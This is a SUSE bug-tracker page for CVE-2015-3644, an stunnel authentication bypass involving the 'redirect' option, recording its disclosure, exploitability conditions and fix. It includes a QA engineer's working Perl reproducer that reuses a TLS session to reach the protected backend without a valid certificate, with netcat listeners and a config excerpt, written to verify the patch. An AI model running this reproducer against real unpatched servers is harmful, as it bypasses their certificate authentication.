Bug 931517 (CVE-2015-3644) - VUL-0: CVE-2015-3644: stunnel: authentication bypass with the "redirect" option
Summary: VUL-0: CVE-2015-3644: stunnel: authentication bypass with the "redirect" option
Status: RESOLVED FIXED
Alias: CVE-2015-3644
Product: SUSE Security Incidents
Classification: Novell Products
Component: Incidents (show other bugs)
Version: unspecified
Hardware: Other Other
: P3 - Medium : Major
Target Milestone: ---
Assignee: Security Team bot
QA Contact: Security Team bot
URL: https://smash.suse.de/issue/116804/
Whiteboard:
Keywords:
Depends on:
Blocks:
 
Reported: 2015-05-19 15:24 UTC by Alexander Bergmann
Modified: 2016-04-27 19:38 UTC (History)
6 users (show)

See Also:
Found By: Security Response Team
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Alexander Bergmann 2015-05-19 15:24:04 UTC
rh#1221673

Stunnel 5.00 through 5.13, when using the redirect option, does not redirect
client connections to the expected server after the initial connection, which
allows remote attackers to bypass authentication.

References:
https://bugzilla.redhat.com/show_bug.cgi?id=1221673
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-3644
http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-3644.html
http://www.cvedetails.com/cve/CVE-2015-3644/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3644
https://www.stunnel.org/CVE-2015-3644.html
Comment 1 Alexander Bergmann 2015-05-19 15:27:29 UTC
Looks like only SLE-12 is affected with version 5.00. SLE-11-SP3 has 4.54.
Comment 3 Alexander Bergmann 2015-05-19 20:10:44 UTC
https://www.stunnel.org/CVE-2015-3644.html

Exploitability

The vulnerability is exploitable under the following conditions:

    Stunnel versions 5.00 to 5.13 inclusive.
    Server mode mode is enabled with "client = no" (which is the default).
    Certificate-based authentication is enabled with "verify = 2" or higher.
    The "redirect" option is used.
Comment 5 Swamp Workflow Management 2015-05-19 22:01:23 UTC
bugbot adjusting priority
Comment 14 Andreas Stieger 2015-05-27 09:24:15 UTC
Security team handling submission.
Comment 15 Dario Abatianni 2015-06-12 12:37:25 UTC
Here is a reproducer script ans a quick guide how to set up and use it to verify the bug fix:

stunnel_cve_test.pl:
----------------------------------------------------------------------------

#!/usr/bin/perl

use strict;
use IO::Socket::SSL;

my $client = IO::Socket::SSL->new(
  PeerHost => "xen.hwlab.suse.de",
  PeerPort => "8080",
  SSL_key_file => "stunnel_client.pem",
  SSL_cert_file => "stunnel_client.pem",
  SSL_session_cache_size => '10',
  SSL_use_cert => "1"
  ) || die "I encountered a problem: ".IO::Socket::SSL::errstr();

print "First:\n";

print $client "GET /first HTTP/1.0\r\n\r\n";
print <$client>;

$client->close();

sleep 1;

my $client2 = IO::Socket::SSL->new(
  PeerHost => "xen.hwlab.suse.de",
  PeerPort => "8080",
  SSL_key_file => "stunnel_client.pem",
  SSL_cert_file => "stunnel_client.pem",
  SSL_use_cert => "1",
  SSL_session_cache_size => '10',
  SSL_reuse_ctx => $client
  ) || die "I encountered a problem: ".IO::Socket::SSL::errstr();

print "Second:\n";

print $client2 "GET /second HTTP/1.0\r\n\r\n";
print <$client2>;

$client2->close();
----------------------------------------------------------------------------

redirect_listen.sh:
----------------------------------------------------------------------------
while true ; do netcat -l 80 < redirect.txt; done
----------------------------------------------------------------------------

original_listen.sh:
----------------------------------------------------------------------------
while true ; do netcat -l 1080 < original.txt ; done
----------------------------------------------------------------------------

*** Before the patch ***

Run redirect_listen.sh and original_listen.sh on the stunnel server. These print the contents of the redirect.txt and original.txt files respectively when you connect to ports 1080 or 80 and will give you an indication whether or not the connection was correctly redirected.

stunnel_client.pem (used in the perl script above) is a valid certificate/key file, but it is unknown to the stunnel server. So it should fail authentication.

Run stunnel in certificate authentication mode, define a service that connects to port 1080 and redirects to port 80 on failure. for example:

/etc/stunnel/stunnel.conf (excerpt)
----------------------------------------------------------------------------
[...]
verify = 2
CAfile = /etc/stunnel/stunnel.pem
cert = /etc/stunnel/stunnel.pem

[8080 Server]
accept = 8080
connect = 1080
redirect = 80

[...]
----------------------------------------------------------------------------

stunnel.pem is a valid certificate/key file, but it is different from the client certificate, so the authentication should fail.

Now run the perl script from your client. It displays:

dabatianni@vulpesvelox:~> ./stunnel_test.pl 
First:
Redirected


Second:
Original


So the second connection attempt was successful, which is the reprodiction of the problem.

*** After the patch ***

Install the patch, then run the perl script again:

dabatianni@vulpesvelox:~> ./stunnel_test.pl
First:
Redirected


Second:

This time, no connection is made at the second attempt, but an error message is written in the stunnel log:

2015.06.09 14:30:15 LOG6[18325]: SSL accepted: previous session reused
2015.06.09 14:30:15 LOG3[18325]: No application data found in the reused session

This confirms the fix.
Comment 16 Daniel Rahn 2015-06-12 17:32:15 UTC
(In reply to Dario Abatianni from comment #15)
> Second:
> 
> This time, no connection is made at the second attempt, but an error message
> is written in the stunnel log:
> 
> 2015.06.09 14:30:15 LOG6[18325]: SSL accepted: previous session reused
> 2015.06.09 14:30:15 LOG3[18325]: No application data found in the reused
> session
> 
> This confirms the fix.

Dario, just one word: awesome! Thanks for your great work!
Comment 17 Swamp Workflow Management 2015-06-15 09:05:06 UTC
SUSE-SU-2015:1062-1: An update that fixes one vulnerability is now available.

Category: security (moderate)
Bug References: 931517
CVE References: CVE-2015-3644
Sources used:
SUSE Linux Enterprise Server 12 (src):    stunnel-5.00-3.1
Comment 18 Marcus Meissner 2015-06-18 07:15:09 UTC
fixed